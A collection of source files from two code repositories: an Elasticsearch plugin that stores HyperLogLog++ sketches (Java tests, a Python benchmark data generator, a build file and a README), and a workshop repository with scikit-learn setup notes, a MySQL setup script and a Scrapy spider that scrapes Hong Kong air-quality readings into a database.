Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage com.parsely.elasticsearch.index.mapper.hll;\n\nimport com.parsely.elasticsearch.search.aggregations.hll.HyperLogLogPlusPlus;\nimport org.apache.lucene.index.DocValuesType;\nimport org.apache.lucene.index.IndexOptions;\nimport org.apache.lucene.index.IndexableField;\nimport org.elasticsearch.common.Strings;\nimport org.elasticsearch.common.bytes.BytesReference;\nimport org.elasticsearch.common.compress.CompressedXContent;\nimport org.elasticsearch.common.xcontent.XContentFactory;\nimport org.elasticsearch.common.xcontent.XContentType;\nimport org.elasticsearch.index.IndexService;\nimport org.elasticsearch.index.mapper.DocumentMapper;\nimport org.elasticsearch.index.mapper.DocumentMapperParser;\nimport org.elasticsearch.index.mapper.MapperParsingException;\nimport org.elasticsearch.index.mapper.ParsedDocument;\nimport org.elasticsearch.index.mapper.SourceToParse;\nimport org.elasticsearch.index.query.QueryShardContext;\nimport org.elasticsearch.indices.mapper.MapperRegistry;\nimport org.elasticsearch.plugins.MapperPlugin;\nimport org.elasticsearch.plugins.Plugin;\nimport org.elasticsearch.test.ESSingleNodeTestCase;\nimport org.elasticsearch.test.InternalSettingsPlugin;\nimport org.junit.Before;\n\nimport java.io.IOException;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.function.Supplier;\nimport java.util.stream.IntStream;\n\nimport static org.hamcrest.Matchers.containsString;\n\npublic class HLLFieldMapperTests extends ESSingleNodeTestCase {\n\n MapperRegistry mapperRegistry;\n IndexService indexService;\n DocumentMapperParser parser;\n\n @Before\n public void setup() {\n indexService = createIndex(\"test\");\n mapperRegistry = new MapperRegistry(\n Collections.singletonMap(HLLFieldMapper.CONTENT_TYPE, new HLLFieldMapper.TypeParser()),\n Collections.emptyMap(), MapperPlugin.NOOP_FIELD_FILTER);\n Supplier<QueryShardContext> queryShardContext = () -> {\n return indexService.newQueryShardContext(0, null, () -> { throw new UnsupportedOperationException(); }, null);\n };\n parser = new DocumentMapperParser(indexService.getIndexSettings(), indexService.mapperService(), indexService.getIndexAnalyzers(),\n indexService.xContentRegistry(), indexService.similarityService(), mapperRegistry, queryShardContext);\n }\n\n @Override\n protected Collection<Class<? extends Plugin>> getPlugins() {\n return pluginList(InternalSettingsPlugin.class);\n }\n\n private String getTestMappingString() throws IOException {\n return Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"test-doc-type\")\n .startObject(\"properties\").startObject(\"test-hll-field\")\n .field(\"type\", \"hll\")\n .endObject().endObject().endObject().endObject());\n }\n\n private String getTestMappingString(long precision) throws IOException {\n return Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"test-doc-type\")\n .startObject(\"properties\").startObject(\"test-hll-field\")\n .field(\"type\", \"hll\")\n .field(\"precision\", precision)\n .endObject().endObject().endObject().endObject());\n }\n\n public void testDefaults() throws Exception {\n // Create the mapper and verify the default value for precision\n DocumentMapper mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString()));\n HLLFieldMapper hllMapper = (HLLFieldMapper) mapper.mappers().getMapper(\"test-hll-field\");\n assertEquals(HLLFieldMapper.Defaults.PRECISION, hllMapper.fieldType().getPrecision());\n\n // Parse a test document and validate output\n ParsedDocument parsedDoc = mapper.parse(SourceToParse.source(\"test\", \"test-doc-type\", \"1\", BytesReference.bytes(XContentFactory.jsonBuilder()\n .startObject()\n .field(\"test-hll-field\", \"foo\")\n .endObject()),\n XContentType.JSON));\n IndexableField[] fields = parsedDoc.rootDoc().getFields(\"test-hll-field\");\n IndexableField field = fields[0];\n assertEquals(IndexOptions.NONE, field.fieldType().indexOptions());\n assertEquals(DocValuesType.BINARY, field.fieldType().docValuesType());\n // TODO: Is it worth checking the bytes here so we know if the underlying HLL implementation changes?\n assertEquals(7, field.binaryValue().length);\n }\n\n public void testChangingPrecision() throws Exception {\n int[] numbers = IntStream.range(0, 10000).toArray();\n BytesReference docBytes = BytesReference.bytes(XContentFactory.jsonBuilder()\n .startObject()\n .field(\"test-hll-field\", numbers)\n .endObject());\n\n // Create the mapper and verify precision is 18\n DocumentMapper mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString(18)));\n HLLFieldMapper hllMapper = (HLLFieldMapper) mapper.mappers().getMapper(\"test-hll-field\");\n assertEquals(18, hllMapper.fieldType().getPrecision());\n\n // Parse the test document and validate output bytes length\n ParsedDocument parsedDoc = mapper.parse(SourceToParse.source(\"test\", \"test-doc-type\", \"1\", docBytes, XContentType.JSON));\n IndexableField field = parsedDoc.rootDoc().getFields(\"test-hll-field\")[0];\n assertEquals(40000, field.binaryValue().length);\n\n // Create the mapper and verify precision is now 14\n mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString(10)));\n hllMapper = (HLLFieldMapper) mapper.mappers().getMapper(\"test-hll-field\");\n assertEquals(10, hllMapper.fieldType().getPrecision());\n\n // Parse a test document and validate output\n parsedDoc = mapper.parse(SourceToParse.source(\"test\", \"test-doc-type\", \"1\", docBytes, XContentType.JSON));\n field = parsedDoc.rootDoc().getFields(\"test-hll-field\")[0];\n assertEquals(1026, field.binaryValue().length);\n }\n\n public void testPrecisionTooLow() throws Exception {\n // Create mapper where precision is one too low.\n int precision = HyperLogLogPlusPlus.MIN_PRECISION - 1;\n try {\n DocumentMapper mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString(precision)));\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [precision] must be greater than\"));\n }\n }\n\n public void testPrecisionTooHigh() throws Exception {\n // Create mapper where precision is one too high.\n int precision = HyperLogLogPlusPlus.MAX_PRECISION + 1;\n try {\n DocumentMapper mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString(precision)));\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [precision] must be less than\"));\n }\n }\n\n public void testDocValuesSettingNotAllowed() throws Exception {\n String mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"type\")\n .startObject(\"properties\").startObject(\"field\")\n .field(\"type\", \"hll\")\n .field(\"doc_values\", false)\n .endObject().endObject().endObject().endObject());\n try {\n parser.parse(\"type\", new CompressedXContent(mapping));\n fail(\"expected a mapper parsing exception\");\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [doc_values] cannot be modified\"));\n }\n\n // Even setting to the default is not allowed, the setting is invalid\n mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"type\")\n .startObject(\"properties\").startObject(\"field\")\n .field(\"type\", \"hll\")\n .field(\"doc_values\", true)\n .endObject().endObject().endObject().endObject());\n try {\n parser.parse(\"type\", new CompressedXContent(mapping));\n fail(\"expected a mapper parsing exception\");\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [doc_values] cannot be modified\"));\n }\n }\n\n public void testIndexSettingNotAllowed() throws Exception {\n String mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"type\")\n .startObject(\"properties\").startObject(\"field\")\n .field(\"type\", \"hll\")\n .field(\"index\", \"not_analyzed\")\n .endObject().endObject().endObject().endObject());\n try {\n parser.parse(\"type\", new CompressedXContent(mapping));\n fail(\"expected a mapper parsing exception\");\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [index] cannot be modified\"));\n }\n\n // even setting to the default is not allowed, the setting is invalid\n mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"type\")\n .startObject(\"properties\").startObject(\"field\")\n .field(\"type\", \"hll\")\n .field(\"index\", \"no\")\n .endObject().endObject().endObject().endObject());\n try {\n parser.parse(\"type\", new CompressedXContent(mapping));\n fail(\"expected a mapper parsing exception\");\n } catch (MapperParsingException e) {\n assertTrue(e.getMessage().contains(\"Setting [index] cannot be modified\"));\n }\n }\n\n public void testEmptyName() throws Exception {\n String mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject(\"type\")\n .startObject(\"properties\").startObject(\"\")\n .field(\"type\", \"hll\")\n .endObject().endObject().endObject().endObject());\n\n IllegalArgumentException e = expectThrows(IllegalArgumentException.class,\n () -> parser.parse(\"type\", new CompressedXContent(mapping))\n );\n assertThat(e.getMessage(), containsString(\"name cannot be empty string\"));\n }\n\n public void testArrayOfItems() throws Exception {\n DocumentMapper mapper = parser.parse(\"test-doc-type\", new CompressedXContent(getTestMappingString()));\n ParsedDocument parsedDoc = mapper.parse(SourceToParse.source(\"test\", \"test-doc-type\", \"1\", BytesReference.bytes(XContentFactory.jsonBuilder()\n .startObject()\n .field(\"test-hll-field\", new String[] {\"foo\", \"bar\", \"baz\"})\n .endObject()),\n XContentType.JSON));\n IndexableField[] fields = parsedDoc.rootDoc().getFields(\"test-hll-field\");\n IndexableField field = fields[0];\n // TODO: Is it worth checking the bytes here so we know if the underlying HLL implementation changes?\n assertEquals(15, field.binaryValue().length);\n }\n}" }, { "alpha_fraction": 0.5967890024185181, "alphanum_fraction": 0.6061926484107971, "avg_line_length": 29.27777862548828, "blob_id": "ca1832aefbdf543596a921709ba63020ba827968", "content_id": "cad82322be594cc91bb982ebfa4a99911058234e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4360, "license_type": "permissive", "max_line_length": 96, "num_lines": 144, "path": "/benchmarks/generate_data.py", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "import argparse\nimport json\nimport random\nimport sys\nimport uuid\nimport mmh3\n\nfrom itertools import cycle\n\n\ndef _init(num_services, jobs_per_service):\n output = []\n for _ in range(num_services):\n output.append(\n {\n \"name\": f\"service-{str(uuid.uuid4())}\",\n \"jobs\": [\n mmh3.hash64(str(uuid.uuid4()))[0] for _ in range(jobs_per_service)\n ],\n }\n )\n return output\n\n\ndef generate_data(\n num_containers,\n num_services,\n jobs_per_service,\n jobs_per_container,\n container_job_count_variation_pct,\n running_job_pct,\n):\n services = cycle(_init(num_services, jobs_per_service))\n variance = int(jobs_per_container * (container_job_count_variation_pct / 100))\n min_jobs = max(jobs_per_container - variance, 1)\n max_jobs = jobs_per_container + variance\n running_job_pct = running_job_pct / 100\n\n for _ in range(num_containers):\n svc = next(services)\n all_jobs = random.choices(svc[\"jobs\"], k=random.randint(min_jobs, max_jobs))\n running_jobs = random.choices(all_jobs, k=int(len(all_jobs) * running_job_pct))\n yield {\n \"service_id\": svc[\"name\"],\n \"container_id\": f\"container-{str(uuid.uuid4())}\",\n \"all_jobs\": all_jobs,\n \"all_jobs_len\": len(all_jobs),\n \"running_jobs\": running_jobs,\n \"running_jobs_len\": len(running_jobs),\n }\n\n\ndef main(\n num_containers,\n num_services,\n jobs_per_service,\n jobs_per_container,\n container_job_count_variation_pct,\n running_job_pct,\n):\n generator = generate_data(\n num_containers,\n num_services,\n jobs_per_service,\n jobs_per_container,\n container_job_count_variation_pct,\n running_job_pct,\n )\n for _ in range(num_containers):\n print(json.dumps(next(generator)))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n usage=\"python generate_data.py\",\n description=\"\"\"\n Generate data for esrally tracks.\n\n Generates data that could be diagnostic info from a queue/worker\n style system which is useful for testing high cardinality sets in\n ES.\n\n The model creates a number of services, which each have a set of\n jobs. Each ES doc generated models the state of a container\n running one of the services. It'll have a subset of jobs that\n it knows about, some of which are running.\n\n Jobs can be shared between containers. This means a\n cardinality agg would be needed to know how many jobs are handled\n by any given service.\n \"\"\",\n formatter_class=argparse.RawTextHelpFormatter,\n )\n parser.add_argument(\n \"num_containers\",\n metavar=\"NUM_CONTAINERS\",\n type=int,\n help=\"The number of containers (ES docs) to model.\",\n )\n parser.add_argument(\n \"--num-services\",\n metavar=\"NUM_SERVICES\",\n type=int,\n help=\"Number of services to model. [default: NUM_CONTAINERS/10]\",\n )\n parser.add_argument(\n \"--jobs-per-service\",\n type=int,\n help=\"The number of jobs (UUIDs) assigned to each service. [default: NUM_CONTAINERS/2]\",\n )\n parser.add_argument(\n \"--jobs-per-container\",\n type=int,\n default=50,\n help=\"The number of jobs (UUIDs) assigned to each container (ES doc). Will be \"\n \"affected by job count variation as well. [default: 50]\",\n )\n parser.add_argument(\n \"--job-count-variation\",\n type=int,\n default=10,\n help=\"How much job counts should vary between docs. Should be between 0 and 100. \"\n \"For example a value of 10 gives a +/- 10%% variation in the length of all_jobs \"\n \"between docs. [default: 10]\",\n )\n parser.add_argument(\n \"--running-job-percentage\",\n type=int,\n default=10,\n help=\"Percent of `all_jobs` that should be in `running_jobs`. [default: 10]\",\n )\n args = parser.parse_args()\n\n num_services = args.num_services or int(args.num_containers / 10)\n jobs_per_service = args.jobs_per_service or int(args.num_containers / 2)\n\n main(\n args.num_containers,\n num_services,\n jobs_per_service,\n args.jobs_per_container,\n args.job_count_variation,\n args.running_job_percentage,\n )\n" }, { "alpha_fraction": 0.6989619135856628, "alphanum_fraction": 0.7162629961967468, "avg_line_length": 22.432432174682617, "blob_id": "43cec23fc36c042fb4359a5fbe0cbb18d0a9c262", "content_id": "12c86a32ada070d05ec5420bcd14197c5cf7ca7d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 867, "license_type": "permissive", "max_line_length": 121, "num_lines": 37, "path": "/build.gradle", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "buildscript {\n repositories {\n mavenLocal()\n mavenCentral()\n jcenter()\n }\n\n dependencies {\n classpath \"org.elasticsearch.gradle:build-tools:6.8.2\"\n }\n}\n\ngroup = 'com.parsely'\nversion = '0.0.1'\n\napply plugin: 'java'\napply plugin: 'idea'\napply plugin: 'elasticsearch.esplugin'\n\n\ndependencies {\n compile \"org.elasticsearch:elasticsearch:6.8.2\"\n compile \"org.elasticsearch.plugin:aggs-matrix-stats-client:6.8.2\"\n testCompile \"org.elasticsearch.test:framework:6.8.2\"\n}\n\ncheckstyleMain.enabled = false\ncheckstyleTest.enabled = false\n\n\nlicenseFile = rootProject.file('LICENSE.txt')\nnoticeFile = rootProject.file('NOTICE.txt')\n\nesplugin {\n description 'The Mapper HLL plugin allows you to compute serialized HLLs at index-time and to store them in the index.'\n classname 'com.parsely.elasticsearch.plugin.HLLRollupPlugin'\n}\n" }, { "alpha_fraction": 0.7680890560150146, "alphanum_fraction": 0.771799623966217, "avg_line_length": 61.19230651855469, "blob_id": "7af05bbcf8fe2d5e00d36ec376406cc419196154", "content_id": "7e97c376891c94701c101867e595de640226da76", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1617, "license_type": "permissive", "max_line_length": 117, "num_lines": 26, "path": "/README.md", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "# elasticsearch-hll-rollups\n\nElasticsearch plugins to support \"HLL Rollups\". The goal is to store the computed HyperLogLogPlusPlus sketch\ninstead of raw values. This serialized version is different from Elasticsearch, which will store all values and\nthen compute the HLL at query time. What this plugin loses is flexibility (precision is fixed at index-time) it gains\nin disk savings and overall scalability for very high-cardinality fields.\n\n## State of the Project\n\nThis is an initial implementation of the idea which runs on Elasticsearch 6.8.2. We've validated the correctness\nof the plugin, but there's a lot more work to be done in terms of optimizations and code cleanups. Our team\ndoesn't write a lot of Java, so there's likely more than a few issues to be worked through.\n\nThere's also a lot of code copied from the ES codebase. I'm sure there's a lot to be done cleaning\nthat up so we only keep or rewrite the bits we need. Since there was a cardinality agg already there\nit made to most sense to follow that model.\n\nTODO:\n\n- [ ] Rename `precision` to `precisionThreshold` so it matches the param for `cardinality`.\n- [ ] Consider skipping the HLL step when indexing LC-sized datasets. It may speed up indexing and\n later querying to instead store either the raw values of the mmh3 hash that the LC uses.\n- [ ] Write up a section about how storing the HLL can help with GDPR compliance (and validate this assumption).\n- [ ] Figure out how reindexing is going to work with all of this. Do we need a way to return a base64 encoded\n HLL to the user? \n- [ ] Many more tests for the aggregation code.\n" }, { "alpha_fraction": 0.6279229521751404, "alphanum_fraction": 0.6444291472434998, "avg_line_length": 40.5523796081543, "blob_id": "fb1737fab590d1ee9b649d526757ca3e93e8a40d", "content_id": "dc4a3932131990a8c45659a42cc95ebe6250a32f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 4362, "license_type": "permissive", "max_line_length": 113, "num_lines": 105, "path": "/src/test/java/com/parsely/elasticsearch/search/aggregations/metrics/HyperLogLogPlusPlusTests.java", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "/*\n * Licensed to Elasticsearch under one or more contributor\n * license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright\n * ownership. Elasticsearch licenses this file to you under\n * the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage com.parsely.elasticsearch.search.aggregations.metrics;\n\nimport com.carrotsearch.hppc.BitMixer;\nimport org.elasticsearch.common.util.BigArrays;\nimport com.parsely.elasticsearch.search.aggregations.hll.HyperLogLogPlusPlus;\nimport org.elasticsearch.test.ESTestCase;\n\nimport org.elasticsearch.common.io.stream.InputStreamStreamInput;\nimport org.elasticsearch.common.io.stream.OutputStreamStreamOutput;\n\nimport static com.parsely.elasticsearch.search.aggregations.hll.HyperLogLogPlusPlus.MAX_PRECISION;\nimport static org.hamcrest.Matchers.closeTo;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\n\nimport static org.apache.logging.log4j.Level.INFO;\n\n\npublic class HyperLogLogPlusPlusTests extends ESTestCase {\n\n private HyperLogLogPlusPlus makeRandomSketch(int size) {\n // utility to make a random HLL of a given size\n HyperLogLogPlusPlus counts = new HyperLogLogPlusPlus(MAX_PRECISION, BigArrays.NON_RECYCLING_INSTANCE, 0);\n for (int i = 0; i < size; i++) {\n final int n = randomInt(100_000_000);\n final long hash = BitMixer.mix64(n);\n counts.collect(0, hash);\n }\n return counts;\n\n }\n\n public void testReadWrite() {\n // We'll test reading and writing HLL bytes for different cardinality sizes\n // ranging from 1 to 10 million. Beyond 10M, it takes awhile to generate the\n // random data.\n int[] sizes = new int[] {\n 1,\n 10,\n 100,\n 1_000,\n 10_000,\n 100_000,\n 1_000_000, // 1 million\n 10_000_000 // 10 million\n };\n\n for (int size : sizes) {\n // Our goal with the `baos` and `osso` is to just turn the `HyperLogLogPlusPlus.writeTo(...)`\n // call into a byte[]\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n OutputStreamStreamOutput osso = new OutputStreamStreamOutput(baos);\n HyperLogLogPlusPlus counts = makeRandomSketch(size);\n long cardinality = counts.cardinality(0);\n long precision = counts.precision();\n long maxBucket = counts.maxBucket();\n logger.printf(INFO, \"%25s: [%d]\", \"Initial size of\", size);\n logger.printf(INFO,\"%25s: [%d]\", \"Initial cardinality of\", cardinality);\n try {\n counts.writeTo(0, osso);\n } catch (IOException e) {\n fail();\n }\n // now we have the HLL as a byte[]\n byte[] hllBytes = baos.toByteArray();\n logger.printf(INFO,\"%25s: [%d]\", \"Storing bytes on-disk\", hllBytes.length);\n logger.printf(INFO,\"---\");\n // Our goal with `bais` and `issi` is to deserialize the byte[] into the HLL using\n // the `HyperLogLogPlusPlus.readFrom(...)` method\n ByteArrayInputStream bais = new ByteArrayInputStream(hllBytes);\n InputStreamStreamInput issi = new InputStreamStreamInput(bais);\n try {\n counts = HyperLogLogPlusPlus.readFrom(issi, BigArrays.NON_RECYCLING_INSTANCE);\n } catch (IOException e) {\n fail();\n }\n // now `counts` is our deserialized HLL; this assertion\n // confirms it by comparing their values\n assertEquals(cardinality, counts.cardinality(0));\n assertEquals(precision, counts.precision());\n assertEquals(maxBucket, counts.maxBucket());\n }\n }\n}" } ]
6
UnityRohan/ytdownloader-web
https://github.com/UnityRohan/ytdownloader-web
339871d3447c590fd901be46306d637b77ff825a
c392d553787f21b904ba7897369f0956cde27a0f
2bf255583098fb772ba31943fd7a5a39b623807c
refs/heads/master
2023-02-05T22:07:07.106970
2020-12-25T22:51:58
2020-12-25T22:51:58
324,441,841
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7822580933570862, "alphanum_fraction": 0.7842742204666138, "avg_line_length": 32.13333511352539, "blob_id": "7e1e6318cc977ea78684d00adb382830c7aeef79", "content_id": "68a20374c286b7b3745322f888c3bd0004406ca8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 496, "license_type": "no_license", "max_line_length": 118, "num_lines": 15, "path": "/README.md", "repo_name": "UnityRohan/ytdownloader-web", "src_encoding": "UTF-8", "text": "# ytdownloader-flask\nA simple one file Flask app that utilizes the Python package `pytube` to return YouTube videos available for download.\n<br>\nBased on my other YouTube downloader project: https://github.com/UnityRohan/ytdownloader\n\n### Required Modules\nThe only module required so far is pytube:\n`pip install pytube`\nor\n`pip3 install pytube`\n\n### Information on the pytube package\nPyPi Page: https://pypi.org/project/pytube/\n<br>\nDocs: https://python-pytube.readthedocs.io/en/latest/index.html" }, { "alpha_fraction": 0.6651933789253235, "alphanum_fraction": 0.6817679405212402, "avg_line_length": 35.20000076293945, "blob_id": "bea111583caecd6e5a7a5c1e21d1fbc356759506", "content_id": "a6568251b9d0227ad9bea57bdb276192254ac347", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 905, "license_type": "no_license", "max_line_length": 142, "num_lines": 25, "path": "/app.py", "repo_name": "UnityRohan/ytdownloader-web", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, send_file\nfrom pytube import YouTube, exceptions\nimport string\nimport random\n\napp = Flask(__name__)\n\[email protected](\"/download/<id>\")\ndef download(id):\n url = f'https://youtube.com/watch?v={id}'\n try:\n video_object = YouTube(url) \n except exceptions.RegexMatchError:\n return \"Invalid URL. After /download/, add the ID of the video. For example:\\n localhost:5000/download/ATOX9uMKtC4\"\n\n if video_object.length > 1800:\n return \"That video is too long! Your video can be up to 30 minutes long.\" \n\n rand_name = ''.join(random.choice(string.ascii_letters) for i in range(15))\n video_object.streams.filter(progressive=True).order_by('resolution').desc().first().download(output_path=\"downloaded\", filename=rand_name)\n return send_file(f\"downloaded\\\\{rand_name}.mp4\")\n \n\nif __name__ == \"__main__\":\n app.run(debug=True)\n" } ]
2
dimsumlabs/ml_workshop
https://github.com/dimsumlabs/ml_workshop
c6c716c7bf6c26b28acb1303e8c0902e8d3e2944
b7bbd83bbb72a31bd29f64f592fc08f06e289f24
63545a162d9fdb303c108d8b59742bc401cfe750
refs/heads/master
2016-09-05T18:26:35.312942
2014-11-17T10:45:46
2014-11-17T10:45:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7418162822723389, "alphanum_fraction": 0.7444561719894409, "avg_line_length": 39.27659606933594, "blob_id": "da7d8c60e6d2a65a59eb5b38ab0625e17026beeb", "content_id": "4a2d16f0193465bf8a65280275e9eebaed7a811e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1894, "license_type": "no_license", "max_line_length": 213, "num_lines": 47, "path": "/README.mkd", "repo_name": "dimsumlabs/ml_workshop", "src_encoding": "UTF-8", "text": "# SCRAPY WORKSHOP SETUP\nYou need ```ipython``` and ```scrapy```, python mysql bindings ```mysqldb``` and mysql server ```mysql``` or ```mariadb``` (to run a mysql server and write some data into a database table from within our scraper).\n\nShould be rather easy to install those systemwide or with pip,\n```\npip install ipython Scrapy MySQL-python\n```\nTo install ```mysql-server``` on ubuntu for example,\n```\nsudo apt-get install mysql-server\n```\n\n# SKLEARN WORKSHOP SETUP\nIf you have ```scikit-learn```, ```matplotlib``` and ```ipython``` \ninstalled you can just run ```ipython notebook --pylab```. Otherwise there are\n3 different ways of installing the tools below. \n\n- If you're on Windows or Mac OSX I recommend setting up a VM. \n- If you're running a Linux distro with package manager I recommend either \n install the depencies system wide via the package manager or setting up\n a virtual python environment and installing the tools via pip.\n\n## Set Up a VM\n+ install ```Virtualbox``` from https://www.virtualbox.org/wiki/Downloads\n+ download a ubuntu virtualbox image from http://virtualboxes.org/images/ubuntu/, 12.04 or newer recommended\n+ add the appliance to virtualbox, click Machine -> Add, then navigate to the *.vbox file\n+ once added, fire up the vm, log in with username/password provided on virtualboxes.org\n+ in a terminal, run ```sudo apt-get update```\n+ followed by ```sudo apt-get install ipython python-matplotlib python-sklearn```\n\n## Debian / Ubuntu\nRun \n```\nsudo apt-get install ipython python-matplotlib python-sklearn\n```\n\n## In a virtual environment\nIf inside a virtual environment run\n```\npip install numpy scipy matplotlib ipython scikit-learn\n```\nyou may need to install some additional system level\ndependencies if this command fails.\n\n## Start the ipython notebook server\nRun ```ipython notebook --pylab``` from within this repository and open a new\nnotebook.\n\n" }, { "alpha_fraction": 0.7355931997299194, "alphanum_fraction": 0.7423728704452515, "avg_line_length": 35.875, "blob_id": "bce7740e65765ba7913423473573c24ab765e8cc", "content_id": "44cb3d3a1a0c5fdafba954cdbbf5d88c6b476f65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 295, "license_type": "no_license", "max_line_length": 82, "num_lines": 8, "path": "/scrapy/mysql_setup.sql", "repo_name": "dimsumlabs/ml_workshop", "src_encoding": "UTF-8", "text": "CREATE DATABASE IF NOT EXISTS Scrapy;\nCREATE TABLE IF NOT EXISTS Scrapy.AirQuality (\n station VARCHAR(32),\n timestamp DATETIME,\n air_quality INT,\n PRIMARY KEY (station, timestamp));\nGRANT ALL ON Scrapy.AirQuality TO 'scrapy'@'localhost' IDENTIFIED BY 'some_password';\nFLUSH PRIVILEGES;\n" }, { "alpha_fraction": 0.5271238684654236, "alphanum_fraction": 0.5271238684654236, "avg_line_length": 31.5, "blob_id": "9f9609a781051bb9ac687db4cbddce8822036d14", "content_id": "e57159bf13e4cfd25e605e4d1f33da7d10f02991", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 977, "license_type": "no_license", "max_line_length": 74, "num_lines": 30, "path": "/scrapy/airq/airq/pipelines.py", "repo_name": "dimsumlabs/ml_workshop", "src_encoding": "UTF-8", "text": "# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom MySQLdb import connect\nfrom scrapy import log\n\nHOST = 'localhost'\nUSER = 'scrapy'\nPASSWD = 'some_password'\nDB = 'Scrapy'\n\n\nclass SQL(object):\n def open_spider(self, spider):\n self.dbcon = connect(host=HOST, \n user=USER, \n passwd=PASSWD,\n db=DB)\n self.cursor = self.dbcon.cursor()\n\n def process_item(self, item, spider):\n self.cursor.execute(\"INSERT INTO AirQuality (station, timestamp, \"\n \"air_quality) VALUES (%s, %s, %s)\", (item['station'], \n item['timestamp'],\n item['air_quality']))\n return item\n\n def close_spider(self, spider):\n self.dbcon.commit()\n\n\n" }, { "alpha_fraction": 0.5415282249450684, "alphanum_fraction": 0.5423588156700134, "avg_line_length": 28.75, "blob_id": "53e8c0dbcb393187f21b9c2452c01776607194a1", "content_id": "c4264c60654e63f91b6541d4564799eeb5c2c486", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1204, "license_type": "no_license", "max_line_length": 81, "num_lines": 40, "path": "/scrapy/airq/airq/spiders/airq_spider.py", "repo_name": "dimsumlabs/ml_workshop", "src_encoding": "UTF-8", "text": "from dateutil.parser import parse\n\nfrom scrapy import log # This module is useful for printing out debug information\nfrom scrapy.spider import Spider\nfrom scrapy.selector import Selector\n\nfrom airq.items import AirqItem\n\n\nclass AirqSpider(Spider):\n name = 'air_quality'\n allowed_domains = ['aqhi.gov.hk']\n start_urls = [\n 'http://www.aqhi.gov.hk/en.html',\n ]\n\n def parse(self, response):\n sel = Selector(response)\n stations = sel.xpath('//td[@class=\"tblCurrAQHI_tdName\"]/a/text()')\\\n .extract()\n values = [int(x) for x in \n sel.xpath('//td[@class=\"tblCurrAQHI_tdBand notSurrogate\"'\n ']/text()').extract()\n if x.isdigit()] \n t = sel.xpath('//tr[@class=\"tblCurrAQHI_trHeader\"]/td/text()'\n ).extract()[0]\n timestamp = parse(t)\n\n items = []\n\n for s, v in zip(stations, values):\n item = AirqItem()\n item['station'] = s\n item['air_quality'] = v\n item['timestamp'] = timestamp\n items.append(item)\n \n self.log(\"Got {} items.\".format(len(items)))\n\n return items\n \n\n" }, { "alpha_fraction": 0.7439516186714172, "alphanum_fraction": 0.7493279576301575, "avg_line_length": 37.153846740722656, "blob_id": "29e9719e4450cfb5787cd30eac35344dc03c6099", "content_id": "1b13a3591d2691a72b21fcd1f37ec4e979e7e3dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1488, "license_type": "no_license", "max_line_length": 119, "num_lines": 39, "path": "/Event_Description.mkd", "repo_name": "dimsumlabs/ml_workshop", "src_encoding": "UTF-8", "text": "# Introduction to Machine Learning / python / scikit-learn workshop\n\nThe idea is to help people get started with machine learning. It will be\ninteractive and we'll be using scikit-learn (scikit-learn.org) for the\nmachine Learning part and matplotlib (matplotlib.org) for visualizations.\n\nThis is the first time I'm doing this. It's gonna be (w)hacky. I won't cover\nmuch (read, any) 